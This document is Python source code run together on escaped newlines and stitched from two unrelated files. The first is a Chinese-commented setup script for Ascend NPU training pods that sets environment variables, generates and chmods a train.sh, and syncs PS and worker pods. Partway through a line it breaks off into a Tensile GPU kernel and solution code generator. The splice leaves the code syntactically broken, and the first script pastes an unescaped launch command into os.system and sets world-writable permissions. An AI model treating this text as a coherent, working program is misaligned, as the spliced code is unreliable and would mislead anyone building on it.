envs[\"NPU_IPS\"].replace(\"\\\\\",\"\")\n envs_to_add[\"NPU_IPS\"] = envs[\"NPU_IPS\"] \n else:\n pass\n\n ## 将/pod.env已有的环境变量\n ## 与os当前具有的环境变量合并, 放入envs\n for k, v in os.environ.items():\n if k not in envs:\n envs[k] = v\n else:\n pass\n\n ## 第一个设备id\n device_id=\"0\"\n device_index=\"0\"\n\n if \"VISIBLE_IDS\" in envs:\n devid = envs[\"VISIBLE_IDS\"].split(\",\")[0].strip()\n if len(devid) > 0:\n device_id = devid\n else:\n pass\n else:\n pass\n\n device_index = device_id\n\n ## 设置随机参数\n envs[\"RANDOM\"] = get_random_num(6)\n envs[\"osflag\"] = get_os_flag()\n envs[\"gnu_arch\"] = get_gnu_arch_flag()\n\n # 模板配置\n tensorflow_envs = [\n \"PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}\",\n \"LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH\",\n \"TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe\",\n \"PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin\",\n \"ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp\",\n \"LLVM_CONFIG=/home/clang+llvm/bin/llvm-config\",\n \"SOC_VERSION=Ascend910\",\n \"POD_NAME=${DLWS_JOB_ID}\",\n \"JOB_ID=${RANDOM}\",\n \"RANK_SIZE=1\",\n \"ASCEND_GLOBAL_LOG_LEVEL=3\",\n \"ASCEND_GLOBAL_EVENT_ENABLE=0\"\n ]\n\n envs_to_add[\"DEVICE_ID\"] = device_id\n envs_to_add[\"DEVICE_INDEX\"] = device_index\n\n # 渲染模板\n for item in tensorflow_envs:\n\n tpl = string.Template(item)\n new_item = tpl.safe_substitute(envs)\n\n if \"=\" in new_item:\n key_val = new_item.strip().split(\"=\")\n k = key_val[0]\n v = key_val[1]\n envs_to_add[k] = v\n\n else:\n pass\n\n # 1) 更新环境变量\n add_env(path, envs_to_add)\n\n ## 2) 生成shell脚本\n pod_cmd = os.environ[\"DLWS_LAUNCH_CMD\"]\n npu_info_dir = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/train.sh\"\n\n cmd = 'python /pod/scripts/create_script.py --type tensorflow --command \"%s\" --out %s'% (pod_cmd, npu_info_dir)\n print(cmd, \"==========================\")\n os.system(cmd)\n os.system(\"chmod 777 \" + npu_info_dir)\n\n # 更新用户bash脚本\n set_bashrc(\"root\")\n\n # 3) 生成hccl_tf.json\n if need_create_hccl() is True:\n create_hccl_tensorflow()\n else:\n pass\n\n # 4) 分布式训练任务,环境配置同步\n if is_distributed_job() is True and is_ps_pod() is True:\n notify()\n\n elif is_distributed_job() is True and is_worker_pod() is True:\n wait()\n\n else:\n pass\n\n\n return\n\n# 是否分布式训练任务\ndef is_distributed_job():\n\n if \"DLWS_NUM_PS\" in os.environ:\n dlws_num_ps = os.environ[\"DLWS_NUM_PS\"].strip().lower()\n\n if len(dlws_num_ps) > 0 and int(dlws_num_ps) >0:\n print(\"is_distributed_job return true\")\n return True\n\n return False\n\n# 是否master节点\ndef is_ps_pod():\n\n if \"DLWS_ROLE_NAME\" in os.environ:\n dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n ## Ps表示多机多卡ps pod\n if dlws_role_name == \"ps\":\n return True\n\n return False\n\n\n# 是否worker节点\ndef is_worker_pod():\n\n if \"DLWS_ROLE_NAME\" in os.environ:\n dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n ## Ps表示多机多卡ps pod\n if dlws_role_name == \"worker\":\n return True\n\n return False\n\n\n# 分布式训练任务 \n# ps节点在环境预备结束后,创建setup_environment_done文件\n# 用作环境准备完成的标识\ndef notify():\n\n # 单机训练任务,只有一个POD不需要做协同\n if is_distributed_job() is False:\n return\n\n setup_environment_done = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/setup_environment_done\"\n\n # 多机多卡训练,ps节点预备环境\n if not os.path.exists(setup_environment_done):\n open(setup_environment_done, 'a').close()\n\n return\n\n# 分布式训练任务 \n# worker节点通过检查setup_environment_done文件\n# 来判断环境准备是否结束\ndef wait():\n\n # 单机训练任务,只有一个POD不需要等待环境\n if is_distributed_job() is False:\n return\n\n setup_environment_done = \"/home/\" + os.environ[\"DLWS_USER_NAME\"] + \"/.npu/\" + os.environ[\"DLWS_JOB_ID\"] + \"/setup_environment_done\"\n\n # 多机多卡训练,ps节点预备环境\n while True:\n if not os.path.exists(setup_environment_done):\n print(\"===========\", setup_environment_done, \" not found. wait\")\n time.sleep(1)\n else:\n break\n\n return\n\n\n\n# 1) 单机训练中,需要创建hccl文件\n# 2)多机多卡中,需要在ps pod创建hccl文件, 此文件会被worker pod共同读取\ndef need_create_hccl():\n \n\n if \"DLWS_ROLE_NAME\" in os.environ:\n dlws_role_name = os.environ[\"DLWS_ROLE_NAME\"].strip().lower()\n\n ## master表示单机POD\n ## Ps表示多机多卡ps pod\n if dlws_role_name == \"ps\" or dlws_role_name == \"master\":\n return True\n\n return False\n\n\nif __name__ == \"__main__\":\n\n # 1) 训练框架类别由前端传入\n # 本脚本依据此字段, 为不同框架创建不同的环境参数\n # hccl文件、环境变量等等\n\n # 2) 脚本经平台bootstrap.sh调用\n # 仅在JOB为单机节点或者 分布式任务的PS节点被执行\n if \"aiframework\" in os.environ:\n\n framework = os.environ[\"aiframework\"].strip().lower()\n\n if framework == \"tensorflow\":\n handle_tensorflow()\n\n elif framework == \"mindspore\":\n handle_mindspore()\n\n else:\n handle_tensorflow()\n\n else:\n\n # 兼容版本=2 else \"\"))\n assemblerFile.write(\"# usage: asm.sh kernelName ASM_ARGS\\n\")\n assemblerFile.write(\"# example: asm.sh kernelName -mcpu=gfx900\\n\")\n assemblerFile.write(\"f=$1\\n\")\n assemblerFile.write(\"shift\\n\")\n assemblerFile.write(\"ASM=%s\\n\"%globalParameters[\"AssemblerPath\"])\n # cannot use globalParameters[\"CurrentISA\"] because it might be (0,0,0)\n defaultIsa = (9,0,0)\n assemblerFile.write( \\\n \"${ASM} -x assembler -target amdgcn-amd-amdhsa %s $@ -c -o $f.o $f.s\\n\" % \\\n (\"-mno-code-object-v3\" if \\\n globalParameters[\"AsmCaps\"][defaultIsa][\"HasCodeObjectV3\"] and \\\n globalParameters[\"CodeObjectVersion\"] == \"V2\" else \"-mcode-object-v3\"))\n assemblerFile.write(\"${ASM} -target amdgcn-amd-amdhsa $f.o -o $f.co\\n\")\n assemblerFile.close()\n os.chmod(assemblerFileName, 0o777)\n\n################################################################################\ndef buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, \\\n kernelSourceFile, kernelHeaderFile):\n \"\"\"\n Logs errors and writes appropriate info to kernelSourceFile and kernelHeaderFile.\n\n Arguments:\n results: list of (err, src, header, kernelName)\n outputPath: path to source directory\n kernelsWithBuildErrs: Dictionary to be updated with kernels that have errors\n kernelSourceFile: File to write source data to\n kernelHeaderFile: File to write header data to\n \"\"\"\n\n sourceFilenames = []\n\n for (err,src,header,kernelName) in results:\n if err:\n kernelsWithBuildErrs[kernelName] = err\n #print \"*** warning: invalid kernel#%s\"%kernelName\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n filename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n sourceFilenames.append(filename)\n kernelSourceFile = open(filename, \"w\")\n kernelSourceFile.write(CHeader)\n\n kernelSourceFile.write(src)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName+\".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n\n kernelHeaderFile.write(header)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n return sourceFilenames\n\n################################################################################\n# Write Solutions and Kernels for BenchmarkClient or LibraryClient\n################################################################################\ndef writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions, kernels, kernelsBetaOnly, \\\n solutionWriter, kernelWriterSource, kernelWriterAssembly, errorTolerant=False):\n start = time.time()\n\n codeObjectFiles = []\n\n print1(\"# Writing Kernels...\")\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Solutions\"))\n ensurePath(os.path.join(outputPath, \"Kernels\"))\n\n ##############################################################################\n # Write Kernels\n ##############################################################################\n kernelFiles = []\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels.cpp\")\n kernelHeaderFilename = os.path.join(outputPath, \"Kernels.h\")\n\n kernelFiles.append(kernelSourceFilename)\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelHeaderFile = open(kernelHeaderFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelHeaderFile.write(CHeader)\n kernelSourceFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n kernelHeaderFile.write(\"#pragma once\\n\")\n if globalParameters[\"RuntimeLanguage\"] == \"HIP\":\n kernelHeaderFile.write(\"#include \\n\")\n kernelHeaderFile.write(\"#include \\n\\n\")\n kernelHeaderFile.write(\"#include \\\"KernelHeader.h\\\"\\n\\n\")\n else:\n kernelSourceFile = None\n kernelHeaderFile = None\n\n kernelsWithBuildErrs = {}\n\n prepAsm()\n\n kIter = zip(kernels, itertools.repeat(kernelWriterSource), itertools.repeat(kernelWriterAssembly))\n results = Common.ParallelMap(processKernelSource, kIter, \"Generating kernels\", method=lambda x: x.starmap)\n print(len(results))\n\n removeKernels = []\n removeSolutions = []\n removeResults = []\n for kernIdx in range(0, len(results)):\n (err,src,header,kernelName) = results[kernIdx]\n if(err == -2):\n removeKernels.append(kernels[kernIdx])\n removeSolutions.append(solutions[kernIdx])\n removeResults.append(results[kernIdx])\n for kern in removeKernels:\n kernels.remove(kern)\n for solut in removeSolutions:\n solutions.remove(solut)\n for rel in removeResults:\n results.remove(rel)\n\n kernelFiles += buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, kernelSourceFile, kernelHeaderFile)\n\n kernelsToBuild = list(kernels)\n if errorTolerant:\n def success(kernel):\n writer = kernelWriterAssembly if kernel['KernelLanguage'] == 'Assembly' else kernelWriterSource\n kernelName = writer.getKernelName(kernel)\n return kernelName not in kernelsWithBuildErrs\n kernelsToBuild = list(filter(success, kernelsToBuild))\n\n if False:#len(kernelsWithBuildErrs) > 0:\n print(\"\\nKernel compilation failed in one or more subprocesses. May want to set CpuThreads=0 and re-run to make debug easier\")\n printExit(\"** kernel compilation failure **\")\n\n\n # beta-only kernels\n for kernel in kernelsBetaOnly:\n kernelWriter = kernelWriterSource\n kernelName = kernelWriter.getKernelNameBetaOnly(kernel)\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelFiles.append(kernelSourceFilename)\n\n (err, src) = kernelWriter.getSourceFileStringBetaOnly(kernel)\n kernelSourceFile.write(src)\n if err:\n print(\"*** warning: invalid kernel#%u\"%kernelName)\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName + \".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n kernelHeaderFile.write( kernelWriter.getHeaderFileStringBetaOnly(kernel))\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n # close merged\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n kernelHeaderFile.close()\n\n kernelsToBuild += kernelsBetaOnly\n\n codeObjectFiles += buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath)\n codeObjectFiles += getAssemblyCodeObjectFiles(kernelsToBuild, kernelWriterAssembly, outputPath)\n\n stop = time.time()\n print(\"# Kernel Building elapsed time = %.1f secs\" % (stop-start))\n\n print1(\"# Writing Solutions\")\n if globalParameters[\"ShowProgressBar\"]:\n progressBar = ProgressBar(len(solutions))\n ##############################################################################\n # Write Solutions\n ##############################################################################\n\n solutionSourceFilename = os.path.join(outputPath, \"Solutions.cpp\")\n solutionHeaderFilename = os.path.join(outputPath, \"Solutions.h\")\n\n solutionSourceFile = open(solutionSourceFilename, \"w\")\n solutionHeaderFile = open(solutionHeaderFilename, \"w\")\n solutionSourceFile.write(CHeader)\n solutionHeaderFile.write(CHeader)\n\n solutionSourceFile.write(\"#include \\\"Solutions.h\\\"\\n\")\n solutionSourceFile.write(\"#include \\n\")\n\n solutionHeaderFile.write(\"#include \\\"TensileTypes.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"SolutionHelper.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"Tools.h\\\"\\n\")\n if globalParameters[\"CodeFromFiles\"]:\n solutionHeaderFile.write(\"#include \\n\")\n if globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n\n\n # Write a solution pointer typedef for each problemType:\n h = \"\"\n for problemType in problemTypes:\n #print \"p=\", problemType\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n # declare TensileSolutionPointer_ProblemType\n h += \"\\n// solution pointer\\n\"\n h += \"typedef TensileStatus (*TensileSolutionPointer_%s)(\\n\" % problemType\n for i in range(0, len(argListAll)):\n h += \" %s %s%s\" % (argListAll[i][0], argListAll[i][1], \",\\n\" \\\n if i < len(argListAll)-1 else \");\\n\\n\")\n h += \"\\n\"\n\n solutionHeaderFile.write(h)\n#\n for solution in solutions:\n # get solution name\n if not globalParameters[\"MergeFiles\"]:\n solutionFileName = solutionWriter.getSolutionName(solution)\n\n # write solution.cpp\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".cpp\"), \"w\")\n solutionSourceFile.write(CHeader)\n solutionSourceFile.write( \\\n solutionWriter.getProblemSourceString(solution[\"ProblemType\"], solution, kernelsWithBuildErrs))\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile.close()\n\n # write solution.h\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".h\"), \"w\")\n solutionHeaderFile.write(CHeader)\n solutionHeaderFile.write( \\\n solutionWriter.getHeaderFileString(solution))\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n if globalParameters[\"ShowProgressBar\"]:\n progressBar.increment()\n # close merged\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n\n if globalParameters[\"ExitAfterKernelGen\"]:\n printExit(\"** Exiting after kernel generation due to ExitAfterKernelGen=1\")\n\n return codeObjectFiles\n\n################################################################################\n# Write Logic\n################################################################################\ndef writeLogic(outputPath, logicData, solutionWriter ):\n print1(\"# Writing Library Logic\")\n\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Logic\"))\n\n # Tensile.h\n h = \"\"\n h += \"#pragma once\\n\"\n h += \"#include \\\"TensileTypes.h\\\"\\n\"\n h += \"#include \\\"SolutionHelper.h\\\"\\n\"\n h += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n # TensileInternal.h\n ih = \"\"\n ih += \"#include \\\"Tensile.h\\\"\\n\"\n\n # Tensile.cpp\n\n sourceIncludes = \"\"\n sourceIncludes += \"#include \\\"Solutions.h\\\"\\n\"\n sourceIncludes += \"#include \\\"Tensile.h\\\"\\n\"\n sourceIncludes += \"#include \\\"TensileInternal.h\\\"\\n\"\n sourceIncludes += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n s = sourceIncludes\n\n ########################################\n # problemType\n for problemType in logicData:\n\n # function argument list\n argListSizes = solutionWriter.getArgList(problemType, False, False, False, False)\n argListData = solutionWriter.getArgList(problemType, False, True, True, True)\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n \n # tensile initializer\n h += \"\\nvoid tensileInitialize();\\n\\n\"\n\n # declare tensile_ProblemType\n h += \"\\n// enqueue solution\\n\"\n h += \"TensileStatus tensile_%s(\\n\" % problemType\n for i in range(0, len(argListData)):\n h += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \");\\n\\n\")\n\n\n numSizes = problemType[\"TotalIndices\"];\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideD = problemType[\"NumIndicesC\"]\n h += \"typedef ProblemKey<%u> ProblemKey_%s;\\n\" % (numSizes,problemType)\n h += \"typedef ProblemDims<%u,%u,%u,%u,%u,%u> ProblemDims_%s;\\n\" \\\n % (firstStride, lastStrideD, lastStrideC, lastStrideA, lastStrideB, numSizes, problemType)\n h += \"typedef SolutionMapper SolutionMapper_%s;\\n\" \\\n % (problemType, problemType, problemType)\n\n # declare tensileGetSolutionPointer_ProblemType\n h += \"\\n// get solution pointer\\n\"\n h += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n h += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n # declare tensileName_\n h += \"// get solution name\\n\"\n h += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n\n # get solution naming for problem type\n solutionsForProblemType = []\n for scheduleTuple in logicData[problemType]:\n solutionsForSchedule = scheduleTuple[2]\n for solution in solutionsForSchedule:\n if solution not in solutionsForProblemType:\n solutionsForProblemType.append(solution)\n\n # solution names for problem type\n solutionNamesForProblemType = []\n for solution in solutionsForProblemType:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForProblemType.append(solutionName)\n\n # reset problemType source\n if not globalParameters[\"MergeFiles\"]:\n filePrefix = \"Tensile_%s\" % (problemType)\n s = sourceIncludes\n\n for solutionName in solutionNamesForProblemType:\n s += \"#include \\\"%s.h\\\"\\n\" % solutionName\n\n ########################################\n # Per-problem constants here:\n # These are common for all schedules and thus do not include schedule name (vega,hip,etc)\n s += \"\\n\"\n s += \"/*******************************************************************************\\n\"\n s += \"* Per-Problem Functions for %s\\n\" % problemType\n s += \"*******************************************************************************/\\n\"\n\n s += \"// Problem type include the index assignments for free, summation, batch:\\n\"\n s += \"static const ProblemType problemType_%s( \" % problemType\n s += listToInitializer(problemType[\"IndicesFree\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesSummation\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesBatch\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsA\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsB\"])\n s += \");\\n\"\n\n s += \"\\n\"\n s += \"// Master solution mapper is the entry point for problem->solution mapping\\n\"\n s += \"// There is one master solution mapper per problem type\\n\"\n s += \"// The master solution mapper contains pointers to the solution mappers for each device\\n\"\n s += \"static MasterSolutionMapper masterSolutionMapper_%s;\\n \" % (problemType,problemType)\n\n\n ########################################\n # implement per-Schedule functions in source\n s += \"\\n\"\n s += \"/*******************************************************************************\\n * Per-Schedule Functions\\n *******************************************************************************/\"\n for scheduleTuple in logicData[problemType]:\n\n # get logic parameters for problem type\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n solutionsForSchedule = scheduleTuple[2]\n indexOrder = scheduleTuple[3]\n exactLogic = scheduleTuple[4]\n rangeLogic = scheduleTuple[5]\n\n # solution names for schedule\n solutionNamesForSchedule = []\n for solution in solutionsForSchedule:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForSchedule.append(solutionName)\n\n s += \"\\n\\n\"\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNamesForSchedule, exactLogic)\n\n\n # Per-problem function here:\n # function tensileGetSolutionPointer_ProblemType\n del schedProbName\n del scheduleName\n s += \"\\n// problem dims -> solution logic\\n\"\n s += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n s += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, True)\n if rangeLogic != None:\n print(\"** warning: ignored ranges in logic file, these should have been expanded with ExpandRanges=1 during Tensile phase 3\")\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n s += \"\\n return nullptr;\\n\"\n s += \"\\n}\\n\"\n\n # function tensileGetSolutionName_Schedule_ProblemType\n s += \"\\n// get solution name for problem dims\\n\"\n s += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, False)\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n #s += \" return NULL; // none\\n\"\n s += \"\\n}\\n\"\n\n ########################################\n # implement problem-type functions in source\n s += \"/*******************************************************************************\\n * Per-ProblemType Functions\\n *******************************************************************************/\"\n\n\n # declare tensile_ProblemType\n s += \"\\n// main call to solution; enqueues a kernel\\n\"\n s += \"TensileStatus tensile_%s(\\n\" % problemType\n for i in range(0, len(argListData)):\n s += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \") {\\n\")\n s += \" auto solution = tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s%s\" \\\n % (argListSizes[i][1], \", \" if i < len(argListSizes)-1 else \");\")\n s += \"\\n\"\n s += \" if (solution) {\\n\"\n s += \" TensileSolutionPointer_%s f = reinterpret_cast (solution->_info->_functionPtr);\\n\" \\\n % (problemType, problemType)\n s += \" auto solutionLock = &solution->_lock;\\n\"\n s += \" return f(\"\n for i in range(0, len(argListAll)):\n s += \"%s%s\" \\\n % (argListAll[i][1], \", \" if i < len(argListAll)-1 else \");\\n\")\n s += \" } else {\\n\"\n #s += \" printf(\\\"solution not valid, returning fail\\\\n\\\");\"\n s += \" return tensileStatusFailure; // no solution found\\n\"\n s += \" }\\n\"\n s += \"}\\n\"\n\n # open and close problemType files\n if not globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \"Logic\", \\\n \"%s.cpp\" % filePrefix), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n s += \"\\n\"\n s += writeTensileInitialize(logicData)\n\n # close merged files\n if globalParameters[\"MergeFiles\"]:\n logicSourceFile = open(os.path.join(outputPath, \\\n \"Tensile.cpp\"), \"w\")\n logicSourceFile.write(s)\n logicSourceFile.close()\n\n logicHeaderFile = open(os.path.join(outputPath, \\\n \"Tensile.h\"), \"w\")\n logicHeaderFile.write(h)\n logicHeaderFile.close()\n\n internalHeaderFile = open(os.path.join(outputPath, \\\n \"TensileInternal.h\"), \"w\")\n internalHeaderFile.write(ih)\n internalHeaderFile.close()\n\n\ndef writeTensileInitialize(logicData):\n\n s = \"/*******************************************************************************\\n\"\n s += \"* Tensilze initializer\\n\"\n s += \"*******************************************************************************/\\n\"\n s += \"void tensileInitialize() {\\n\"\n\n for problemType in logicData:\n s += \" masterSolutionMapper_%s.initialize();\\n\" % problemType\n \n for scheduleTuple in logicData[problemType]:\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n\n\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += \" solutionMapper_%s.initializeMappers(\" % (schedProbName)\n s += \"{%s},\" % (', '.join('\"{0}\"'.format(w) for w in deviceNames))\n s += \"&masterSolutionMapper_%s);\\n\" % (problemType)\n \n s += \"}\"\n\n return s\n\ndef writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNames, exactLogic):\n s = \"\"\n s += \"namespace { // Start schedule '%s'\\n\" % scheduleName\n\n s += \"// solution table - function, name, assertion requirements\\n\"\n s += \"static const SolutionInfo solutionTable_%s[] = {\\n\" % (schedProbName)\n for i in range(0, len(solutionsForSchedule)):\n solution = solutionsForSchedule[i]\n solutionName = solutionNames[i]\n s += \" {(void*)%s, \\\"%s\\\", {%d, %d, %d, %d, %d, %d, %d} }%s // %d\" % \\\n (solutionName, solutionName, \\\n solution[\"AssertSummationElementMultiple\"], \\\n solution[\"AssertFree0ElementMultiple\"], \\\n solution[\"AssertFree1ElementMultiple\"], \\\n solution[\"AssertMinApproxSize\"], \\\n solution[\"LdcEqualsLdd\"], \\\n solution[\"PackBatchDims\"]==2, \\\n solution[\"PackBatchDims\"]==1, \\\n \",\" if i < len(solutionsForSchedule)-1 else \"\", \\\n i)\n s += \"\\n\"\n\n s += \"};\\n\\n\"\n\n # Write the exact problems here\n s += \"// table of exact problem dims and selected solutionIdx\\n\"\n s += \"static const std::pair embeddedExactTable_%s[] = {\\n\" % (problemType,schedProbName)\n numSizes = problemType[\"TotalIndices\"]\n for ruleIdx in range(0, len(exactLogic)):\n rule = exactLogic[ruleIdx]\n problemSize = rule[0][:numSizes]\n solutionIdx = rule[1][0]\n solutionGFlops = rule[1][1]\n s += \" { {\"\n for i in range(0, len(problemSize)):\n if i == 0:\n s += \"%u\" % problemSize[i];\n else:\n s += \", %u\" % problemSize[i];\n s += \"}, %u}\" % (solutionIdx)\n s += \",\" if ruleIdx != len(exactLogic)-1 else \" \"\n s += \" // %.0f GFlop/s\" % (solutionGFlops)\n s += \"\\n\";\n s += \"};\\n\\n\"\n\n # Create a solution mapper and init with the table above:\n s += \"// The solution master constructor here adds device to the master solution mapper\\n\"\n s += \"// The entrypoint to find a solution for this problem is through the master solution master\\n\"\n s += \"static SolutionMapper_%s solutionMapper_%s(\\n\" % (problemType, schedProbName)\n s += \" \\\"%s\\\", // schedule+problem name\\n\" % (schedProbName) \n s += \" solutionTable_%s, %u,\\n\" % (schedProbName, len(solutionsForSchedule))\n s += \" embeddedExactTable_%s, %u,\\n\" % (schedProbName, len(exactLogic))\n s += \" &problemType_%s);\\n\" % (problemType)\n\n s += \"} // end anonymous namespace\\n\" \n return s\n\n\n################################################################################\n# Write Range Logic Recursive\n# ptr :\n# True : write logic to return the function pointer\n# False : write logic to return the function name\n################################################################################\ndef writeExactLogic(problemType, indexOrder,\n solutionsForSchedule, exactLogic, \\\n solutionNames, ptr):\n s = \"\"\n s += \" ProblemDims_%s pdims(\" % problemType\n indexChars = globalParameters[\"IndexChars\"]\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideD = problemType[\"NumIndicesC\"]\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n for i in range(firstStride,lastStrideD):\n if i != firstStride: s += \", \"\n s += \"strideD%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideC):\n s += \", strideC%u%s\" % (i, indexChars[i])\n for i in range(firstStride,lastStrideA):\n s += \", strideA%u%s\" % (i, \\\n indexChars[problemType[\"IndexAssignmentsA\"][i]])\n for i in range(firstStride,lastStrideB):\n s += \", strideB%u%s\" % (i, \\\n 